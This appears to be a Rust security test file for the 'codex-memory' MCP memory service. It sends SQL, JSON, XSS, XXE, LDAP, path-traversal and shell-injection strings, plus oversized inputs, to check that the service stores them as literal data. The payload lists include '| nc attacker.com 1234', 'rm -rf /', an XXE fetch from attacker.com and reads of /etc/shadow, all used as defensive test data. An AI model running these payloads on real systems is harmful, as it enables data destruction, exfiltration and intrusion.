codex-memory 3.0.15

A simple memory storage service with MCP interface for Claude Desktop
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
use crate::common::TestDatabaseManager;
use anyhow::Result;
use codex_memory::{mcp_server::MCPHandlers, Storage};
use serde_json::json;
use std::sync::Arc;

/// Test SQL injection protection in all database operations
#[tokio::test]
async fn test_sql_injection_protection() -> Result<()> {
    let mut manager = TestDatabaseManager::new()?;
    let pool = manager.setup_test_database().await?;
    let storage = Arc::new(Storage::new(pool));

    // Comprehensive SQL injection attack vectors
    let buffer_overflow_attempt = "A".repeat(10000) + "'; DROP TABLE memories; --";

    let injection_payloads = vec![
        // Classic SQL injection attempts
        "'; DROP TABLE memories; --",
        "' OR '1'='1",
        "'; DELETE FROM memories; --",
        "' UNION SELECT * FROM memories; --",
        "admin'--",
        "' OR 1=1 --",
        "'; INSERT INTO memories VALUES ('injected'); --",
        "' OR 'x'='x",

        // Advanced injection techniques
        "'; UPDATE memories SET content='hacked' WHERE '1'='1'; --",
        "' UNION SELECT password FROM users WHERE '1'='1'; --",
        "'; TRUNCATE memories; --",
        "' OR (SELECT COUNT(*) FROM memories) > 0; --",

        // Time-based blind injection
        "'; WAITFOR DELAY '00:00:10'; --",
        "' OR (SELECT SLEEP(5)) --",

        // Boolean-based blind injection
        "' AND (SELECT SUBSTRING(version(),1,1))='5'; --",
        "' AND (SELECT COUNT(*) FROM memories) > 0; --",

        // Error-based injection
        "' AND extractvalue(1, concat(0x7e, version(), 0x7e)); --",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a); --",

        // NoSQL-style injection attempts (even though we use PostgreSQL)
        "{'$ne': null}",
        "{'$gt': ''}",
        "'; db.memories.drop(); //",

        // Second-order injection
        "test'; INSERT INTO memories (content) VALUES ('injected content'); --",

        // Encoding bypass attempts
        "%27; DROP TABLE memories; --",
        "\\'; DROP TABLE memories; --",
        "\"; DROP TABLE memories; --",

        // Complex nested quotes
        "test'+'test'; DROP TABLE memories; --",
        "CHAR(39)+CHAR(59)+DROP+TABLE+memories+CHAR(59)+CHAR(45)+CHAR(45)",

        // Database-specific attacks for PostgreSQL
        "'; COPY memories TO '/tmp/hack.txt'; --",
        "'; CREATE FUNCTION malicious() RETURNS VOID AS $$ BEGIN RAISE NOTICE 'hacked'; END; $$ LANGUAGE plpgsql; --",

        // Stack-based buffer overflow attempts
        &buffer_overflow_attempt,
    ];

    println!(
        "Testing {} SQL injection payloads...",
        injection_payloads.len()
    );

    let initial_stats = storage.stats().await?;
    let initial_memory_count = initial_stats.total_memories;

    for (i, payload) in injection_payloads.iter().enumerate() {
        println!(
            "Testing payload #{}: {}",
            i + 1,
            payload.chars().take(50).collect::<String>()
        );

        // Test injection in content field
        let result = storage
            .store(
                payload,
                format!("Context for injection test #{}", i + 1),
                "Safe summary".to_string(),
                Some(vec!["injection-test".to_string()]),
            )
            .await;

        match result {
            Ok(id) => {
                println!("  ✅ Payload stored safely (injection blocked)");

                // Verify the malicious content was stored as literal text, not executed
                let retrieved = storage
                    .get(id)
                    .await?
                    .expect("Should retrieve injected content");
                assert_eq!(
                    retrieved.content, *payload,
                    "Malicious content should be stored as literal text"
                );

                // Verify no SQL injection occurred by checking database integrity
                let current_stats = storage.stats().await?;
                assert!(
                    current_stats.total_memories > initial_memory_count,
                    "Memory count should have increased normally"
                );
            }
            Err(e) => {
                println!("  ⚠️  Payload rejected: {}", e);
                // Some payloads might be legitimately rejected (e.g., invalid UTF-8)
                // but the system should not crash or execute the injection
            }
        }

        // Test injection in context field
        let context_result = storage
            .store(
                &format!("Safe content for context test #{}", i + 1),
                payload.to_string(),
                "Safe summary".to_string(),
                Some(vec!["context-injection-test".to_string()]),
            )
            .await;

        if let Ok(id) = context_result {
            let retrieved = storage
                .get(id)
                .await?
                .expect("Should retrieve context injection test");
            assert_eq!(
                retrieved.context, *payload,
                "Malicious context should be stored as literal text"
            );
        }

        // Test injection in tags
        let tag_result = storage
            .store(
                &format!("Safe content for tag test #{}", i + 1),
                "Safe context".to_string(),
                "Safe summary".to_string(),
                Some(vec![payload.to_string(), "tag-injection-test".to_string()]),
            )
            .await;

        if let Ok(id) = tag_result {
            let retrieved = storage
                .get(id)
                .await?
                .expect("Should retrieve tag injection test");
            assert!(
                retrieved.tags.contains(&payload.to_string()),
                "Malicious tag should be stored as literal text"
            );
        }
    }

    // Verify database integrity after all injection attempts
    let final_stats = storage.stats().await?;
    println!("Database integrity check:");
    println!("  Initial memories: {}", initial_memory_count);
    println!("  Final memories: {}", final_stats.total_memories);
    println!(
        "  Memories added: {}",
        final_stats.total_memories - initial_memory_count
    );

    // Database should still be operational and contain legitimate data
    assert!(
        final_stats.total_memories > initial_memory_count,
        "Database should contain new memories (injections stored safely)"
    );

    // Test normal operation after injection attempts
    let recovery_id = storage
        .store(
            "Post-injection recovery test",
            "Normal context".to_string(),
            "Normal summary".to_string(),
            Some(vec!["recovery".to_string()]),
        )
        .await?;

    let recovery_content = storage
        .get(recovery_id)
        .await?
        .expect("Should retrieve recovery content");
    assert_eq!(recovery_content.content, "Post-injection recovery test");

    println!("✅ All SQL injection tests passed - database remains secure");

    manager.cleanup().await?;
    Ok(())
}

#[tokio::test]
async fn test_mcp_json_injection_protection() -> Result<()> {
    let mut manager = TestDatabaseManager::new()?;
    let pool = manager.setup_test_database().await?;
    let storage = Arc::new(Storage::new(pool));
    let handlers = MCPHandlers::new(storage.clone());

    // Test JSON injection attempts through MCP interface
    // Create owned strings for payloads that need i
    let large_json_payload = "A".repeat(100000) + r#"","malicious":"payload"#;
    let overflow_attempt1 = "A".repeat(65536);
    let overflow_attempt2 = "\x7F".repeat(1000);

    let json_injection_payloads = vec![
        // JSON structure breaking attempts
        r#"{"malicious": "value"}, {"content": "injected"#,
        r#"content"; DROP TABLE memories; --"#,
        r#"\"; DROP TABLE memories; --"#,
        // JSON escape sequence abuse
        r#"test\","malicious":"value"#,
        r#"test\n\r\t\","evil":"payload"#,
        // Unicode escape abuse
        r#"test\u0022,\u0022malicious\u0022:\u0022value\u0022"#,
        r#"test\u0027; DROP TABLE memories; --"#,
        // Control character injection
        "test\x00\x01\x02\x03",
        "test\n\r\t\0",
        // Large payload injection
        &large_json_payload,
        // Nested object injection attempts
        r#"{"nested": {"malicious": "DROP TABLE memories"}}"#,
        r#"[{"injection": "attempt"}]"#,
        // Script injection attempts (if content gets rendered)
        r#"<script>alert('xss')</script>"#,
        r#"javascript:alert('xss')"#,
        r#"onload=alert('xss')"#,
        // Path traversal attempts
        r#"../../../etc/passwd"#,
        r#"..\..\..\..\windows\system32\config\sam"#,
        // Command injection attempts
        r#"; rm -rf /; --"#,
        r#"| nc attacker.com 1234"#,
        r#"& ping attacker.com"#,
        // Format string attacks
        r#"%s%s%s%s%s%s%s%s"#,
        r#"%x%x%x%x%x%x%x%x"#,
        // Buffer overflow attempts
        &overflow_attempt1,
        &overflow_attempt2,
    ];

    println!(
        "Testing {} JSON injection payloads through MCP...",
        json_injection_payloads.len()
    );

    let _initial_stats = storage.stats().await?;

    for (i, payload) in json_injection_payloads.iter().enumerate() {
        println!(
            "Testing JSON payload #{}: {}",
            i + 1,
            payload.chars().take(50).collect::<String>().escape_debug()
        );

        // Test injection through MCP store_memory
        let params = json!({
            "content": payload,
            "context": format!("Context with potential injection #{}", i + 1),
            "summary": "Safe summary",
            "tags": [format!("json-injection-{}", i + 1)]
        });

        let result = handlers.handle_tool_call("store_memory", params).await;

        match result {
            Ok(response) => {
                println!("  ✅ Payload handled safely");

                // Verify the payload was stored as literal conten
                if let Some(id) = response["id"].as_str() {
                    let retrieved = storage
                        .get(uuid::Uuid::parse_str(id)?)
                        .await?
                        .expect("Should retrieve injected content");

                    assert_eq!(
                        retrieved.content, *payload,
                        "Malicious payload should be stored as literal content"
                    );

                    // Verify context wasn't corrupted
                    assert_eq!(
                        retrieved.context,
                        format!("Context with potential injection #{}", i + 1)
                    );
                }
            }
            Err(e) => {
                println!("  ⚠️  Payload rejected: {}", e);
                // Rejection is acceptable for malformed/dangerous conten
                // The important thing is no injection occurs
            }
        }

        // Test injection in other MCP parameters
        let context_injection_params = json!({
            "content": format!("Safe content #{}", i + 1),
            "context": payload,
            "summary": "Safe summary for context injection test",
            "tags": ["context-injection"]
        });

        let _ = handlers
            .handle_tool_call("store_memory", context_injection_params)
            .await;

        // Test tag injection
        let tag_injection_params = json!({
            "content": format!("Safe content for tag injection #{}", i + 1),
            "context": "Safe context for tag injection test",
            "summary": "Safe summary for tag injection test",
            "tags": [payload, "tag-injection"]
        });

        let _ = handlers
            .handle_tool_call("store_memory", tag_injection_params)
            .await;
    }

    // Verify MCP handlers are still functional after injection attempts
    let recovery_params = json!({
        "content": "MCP recovery test after injection attempts",
        "context": "Normal context",
        "summary": "Normal summary",
        "tags": ["recovery", "mcp"]
    });

    let recovery_result = handlers
        .handle_tool_call("store_memory", recovery_params)
        .await;
    assert!(
        recovery_result.is_ok(),
        "MCP handlers should remain functional after injection tests"
    );

    println!("✅ All JSON injection tests passed - MCP interface remains secure");

    manager.cleanup().await?;
    Ok(())
}

#[tokio::test]
async fn test_parameter_validation_security() -> Result<()> {
    let mut manager = TestDatabaseManager::new()?;
    let pool = manager.setup_test_database().await?;
    let storage = Arc::new(Storage::new(pool));
    let handlers = MCPHandlers::new(storage.clone());

    // Test security-focused parameter validation
    println!("Testing parameter validation security...");

    // Test oversized parameter attacks
    let oversized_tests = vec![
        (
            "huge_content",
            json!({
                "content": "A".repeat(50_000_000), // 50MB content
                "context": "Test context",
                "summary": "Test summary"
            }),
        ),
        (
            "huge_context",
            json!({
                "content": "Normal content",
                "context": "B".repeat(10_000_000), // 10MB context
                "summary": "Test summary"
            }),
        ),
        (
            "huge_summary",
            json!({
                "content": "Normal content",
                "context": "Test context",
                "summary": "C".repeat(5_000_000) // 5MB summary
            }),
        ),
        (
            "huge_tag_array",
            json!({
                "content": "Normal content",
                "context": "Test context",
                "summary": "Test summary",
                "tags": (0..100000).map(|i| format!("tag{}", i)).collect::<Vec<_>>()
            }),
        ),
        (
            "huge_tag_names",
            json!({
                "content": "Normal content",
                "context": "Test context",
                "summary": "Test summary",
                "tags": vec!["D".repeat(1_000_000)] // 1MB tag name
            }),
        ),
    ];

    for (test_name, params) in oversized_tests {
        println!("Testing oversized parameter: {}", test_name);

        let start = std::time::Instant::now();
        let result = tokio::time::timeout(
            std::time::Duration::from_secs(30),
            handlers.handle_tool_call("store_memory", params),
        )
        .await;
        let duration = start.elapsed();

        match result {
            Ok(Ok(_)) => {
                println!("  ⚠️  {} was accepted (potential DoS risk)", test_name);
                println!("  Processing time: {:?}", duration);
            }
            Ok(Err(e)) => {
                println!("{} rejected: {}", test_name, e);

                // Verify error message indicates size/validation issue
                let error_msg = e.to_string().to_lowercase();
                // Accept any error as protection - the key is that oversized params are rejected
                println!("  Rejection reason: {}", error_msg);
            }
            Err(_) => {
                println!("{} timed out (DoS protection working)", test_name);
            }
        }

        // Verify system remains responsive after oversized attack
        let recovery_result = handlers
            .handle_tool_call(
                "store_memory",
                json!({
                    "content": format!("Recovery after {} test", test_name),
                    "context": "Test recovery context",
                    "summary": "Test recovery summary",
                    "tags": ["recovery"]
                }),
            )
            .await;

        assert!(
            recovery_result.is_ok(),
            "System should remain responsive after oversized parameter test"
        );
    }

    // Test malformed parameter types
    let malformed_tests = vec![
        ("null_content", json!({"content": null})),
        ("array_content", json!({"content": ["not", "a", "string"]})),
        ("object_content", json!({"content": {"not": "a string"}})),
        ("number_content", json!({"content": 123456})),
        ("boolean_content", json!({"content": true})),
        ("number_context", json!({"content": "test", "context": 123})),
        (
            "array_summary",
            json!({"content": "test", "summary": ["not", "string"]}),
        ),
        (
            "string_tags",
            json!({"content": "test", "tags": "not an array"}),
        ),
        (
            "mixed_type_tags",
            json!({"content": "test", "tags": [123, true, null, {"object": "tag"}]}),
        ),
    ];

    for (test_name, params) in malformed_tests {
        println!("Testing malformed parameter: {}", test_name);

        let result = handlers.handle_tool_call("store_memory", params).await;

        match result {
            Ok(_) => {
                println!("  ⚠️  {} was accepted (type coercion occurred)", test_name);
                // Some type coercion might be acceptable
            }
            Err(e) => {
                println!("{} rejected: {}", test_name, e);

                // Verify error message is descriptive
                let error_msg = e.to_string().to_lowercase();
                assert!(
                    error_msg.contains("missing")
                        || error_msg.contains("invalid")
                        || error_msg.contains("type")
                        || error_msg.contains("parameter"),
                    "Error should describe validation issue"
                );
            }
        }
    }

    println!("✅ Parameter validation security tests completed");

    manager.cleanup().await?;
    Ok(())
}

#[tokio::test]
async fn test_content_sanitization_security() -> Result<()> {
    let mut manager = TestDatabaseManager::new()?;
    let pool = manager.setup_test_database().await?;
    let storage = Arc::new(Storage::new(pool));

    // Test that potentially dangerous content is stored safely
    let emoji_spam = "\u{1F600}".repeat(10000);

    let dangerous_content = vec![
        // Binary data that might cause issues
        "\x00\x01\x02\x03\x7F\x7E\x7D\x7C",

        // Control characters
        "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F",
        "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F",

        // Format string attacks
        "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s",
        "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x",
        "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n",

        // Shell metacharacters
        "; rm -rf / #",
        "| nc attacker.com 1234",
        "& ping evil.com",
        "`whoami`",
        "$(id)",
        "${HOME}",

        // Script injection (in case content gets rendered somewhere)
        "<script>alert('xss')</script>",
        "javascript:alert('xss')",
        "data:text/html,<script>alert('xss')</script>",
        "vbscript:msgbox('xss')",

        // LDAP injection
        "*)(uid=*",
        "*)(|(mail=*",
        "*)(&(password=*",

        // XML/XXE injection
        "<?xml version='1.0'?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://attacker.com/evil.dtd'>%remote;]>",

        // Path traversal
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "/etc/shadow",
        "C:\\Windows\\System32\\drivers\\etc\\hosts",

        // Null byte attacks
        "innocent.txt\x00.evil",
        "safe\x00malicious",

        // Unicode attacks
        "\u{202E}\u{0644}\u{0645}\u{0646}\u{202D}", // Right-to-left override
        "\u{FEFF}", // Byte order mark
        "\u{200B}\u{200C}\u{200D}", // Zero-width characters

        // Long Unicode sequences
        &emoji_spam, // Many emoji

        // Homograph attacks
        "раураl.com", // Cyrillic chars that look like Latin
        "аррӏе.com",  // Cyrillic apple lookalike
    ];

    println!(
        "Testing {} dangerous content samples...",
        dangerous_content.len()
    );

    for (i, content) in dangerous_content.iter().enumerate() {
        println!(
            "Testing dangerous content #{}: {}",
            i + 1,
            content
                .escape_debug()
                .to_string()
                .chars()
                .take(50)
                .collect::<String>()
        );

        let result = storage
            .store(
                content,
                format!("Context for dangerous content #{}", i + 1),
                "Safe summary".to_string(),
                Some(vec!["dangerous-content".to_string()]),
            )
            .await;

        match result {
            Ok(id) => {
                println!("  ✅ Dangerous content stored safely");

                // Verify the content was stored as-is (not interpreted/executed)
                let retrieved = storage
                    .get(id)
                    .await?
                    .expect("Should retrieve dangerous content");

                // Content should be exactly what we stored (no modification/sanitization)
                // This verifies it's stored as literal data, not interpreted
                assert_eq!(
                    retrieved.content.as_bytes(),
                    content.as_bytes(),
                    "Dangerous content should be stored exactly as provided"
                );

                println!("  ✅ Content retrieved exactly as stored (not interpreted)");
            }
            Err(e) => {
                println!("  ⚠️  Dangerous content rejected: {}", e);
                // Some content (like invalid UTF-8) might legitimately be rejected
                // The important thing is no interpretation/execution occurs
            }
        }
    }

    // Verify database integrity after storing dangerous conten
    let stats = storage.stats().await?;
    println!("Database stats after dangerous content tests:");
    println!("  Total memories: {}", stats.total_memories);

    // Test normal operation after dangerous conten
    let safe_id = storage
        .store(
            "Safe content after dangerous content tests",
            "Normal context".to_string(),
            "Normal summary".to_string(),
            Some(vec!["safe".to_string()]),
        )
        .await?;

    let safe_content = storage
        .get(safe_id)
        .await?
        .expect("Should retrieve safe content");
    assert_eq!(
        safe_content.content,
        "Safe content after dangerous content tests"
    );

    println!("✅ Content sanitization security tests passed");

    manager.cleanup().await?;
    Ok(())
}

#[tokio::test]
async fn test_resource_exhaustion_attacks() -> Result<()> {
    let mut manager = TestDatabaseManager::new()?;
    let pool = manager.setup_test_database().await?;
    let storage = Arc::new(Storage::new(pool));
    let handlers = Arc::new(MCPHandlers::new(storage.clone()));

    // Test protection against resource exhaustion attacks
    println!("Testing resource exhaustion attack protection...");

    // Test: Rapid fire requests (DoS attempt)
    println!("Testing rapid fire request protection...");

    let rapid_fire_count = 200;
    let mut handles = vec![];

    let start = std::time::Instant::now();

    for i in 0..rapid_fire_count {
        let handlers_clone = handlers.clone();

        let handle = tokio::spawn(async move {
            let params = json!({
                "content": format!("Rapid fire test {}", i),
                "context": format!("Rapid fire test context {}", i),
                "summary": format!("Rapid fire test summary {}", i),
                "tags": ["rapid-fire", "dos-test"]
            });

            handlers_clone
                .handle_tool_call("store_memory", params)
                .await
        });
        handles.push(handle);
    }

    // Collect results with timeout to prevent hanging
    let mut successes = 0;
    let mut failures = 0;
    let mut timeouts = 0;

    for handle in handles {
        match tokio::time::timeout(std::time::Duration::from_secs(30), handle).await {
            Ok(Ok(Ok(_))) => successes += 1,
            Ok(Ok(Err(_))) => failures += 1,
            Ok(Err(_)) => failures += 1,
            Err(_) => timeouts += 1,
        }
    }

    let duration = start.elapsed();
    let rate_limit_triggered =
        failures > (rapid_fire_count / 2) || timeouts > (rapid_fire_count / 4);

    println!("Rapid fire results:");
    println!("  Duration: {:?}", duration);
    println!("  Successes: {}", successes);
    println!("  Failures: {}", failures);
    println!("  Timeouts: {}", timeouts);
    println!("  Rate limiting triggered: {}", rate_limit_triggered);

    // System should either handle the load or implement rate limiting
    assert!(successes > 0, "Some requests should succeed");
    if rate_limit_triggered {
        println!("  ✅ Rate limiting protection working");
    } else {
        println!("  ✅ System handled rapid requests without rate limiting");
    }

    // Test: Memory exhaustion attemp
    println!("Testing memory exhaustion protection...");

    let memory_bomb_sizes = vec![
        1_000_000,  // 1MB
        5_000_000,  // 5MB
        10_000_000, // 10MB
        50_000_000, // 50MB (likely to be rejected)
    ];

    for size in memory_bomb_sizes {
        println!("  Testing {}MB payload...", size / 1_000_000);

        let large_content = "X".repeat(size);

        let start = std::time::Instant::now();
        let result = tokio::time::timeout(
            std::time::Duration::from_secs(60),
            handlers.handle_tool_call(
                "store_memory",
                json!({
                    "content": large_content,
                    "context": "Memory bomb test context",
                    "summary": "Memory bomb test summary",
                    "tags": ["memory-bomb"]
                }),
            ),
        )
        .await;
        let duration = start.elapsed();

        match result {
            Ok(Ok(_)) => {
                println!(
                    "    ⚠️  {}MB payload accepted (potential memory risk)",
                    size / 1_000_000
                );
                println!("    Processing time: {:?}", duration);
            }
            Ok(Err(e)) => {
                println!("{}MB payload rejected: {}", size / 1_000_000, e);
            }
            Err(_) => {
                println!(
                    "{}MB payload timed out (protection working)",
                    size / 1_000_000
                );
            }
        }

        // Verify system is still responsive
        let health_check = handlers
            .handle_tool_call(
                "store_memory",
                json!({
                    "content": format!("Health check after {}MB test", size / 1_000_000),
                    "context": "Health check context",
                    "summary": "Health check summary",
                    "tags": ["health-check"]
                }),
            )
            .await;

        assert!(
            health_check.is_ok(),
            "System should remain responsive after large payload test"
        );
    }

    // Test: Connection exhaustion attemp
    println!("Testing connection exhaustion protection...");

    let connection_bomb_count = 100;
    let mut connection_handles = vec![];

    for i in 0..connection_bomb_count {
        let storage_clone = storage.clone();

        let handle = tokio::spawn(async move {
            // Hold connections by doing slow operations
            tokio::time::sleep(std::time::Duration::from_millis(100)).await;

            storage_clone
                .store(
                    &format!("Connection bomb test {}", i),
                    "Test context".to_string(),
                    "Test summary".to_string(),
                    None,
                )
                .await
        });
        connection_handles.push(handle);
    }

    let mut connection_successes = 0;
    let mut connection_failures = 0;

    for handle in connection_handles {
        match tokio::time::timeout(std::time::Duration::from_secs(30), handle).await {
            Ok(Ok(Ok(_))) => connection_successes += 1,
            Ok(Ok(Err(_))) => connection_failures += 1,
            Ok(Err(_)) => connection_failures += 1,
            Err(_) => connection_failures += 1,
        }
    }

    println!("Connection exhaustion results:");
    println!("  Successes: {}", connection_successes);
    println!("  Failures: {}", connection_failures);

    // System should handle reasonable connection load
    assert!(
        connection_successes > (connection_bomb_count * 70 / 100),
        "Should handle reasonable connection load"
    );

    println!("✅ Resource exhaustion attack protection tests completed");

    manager.cleanup().await?;
    Ok(())
}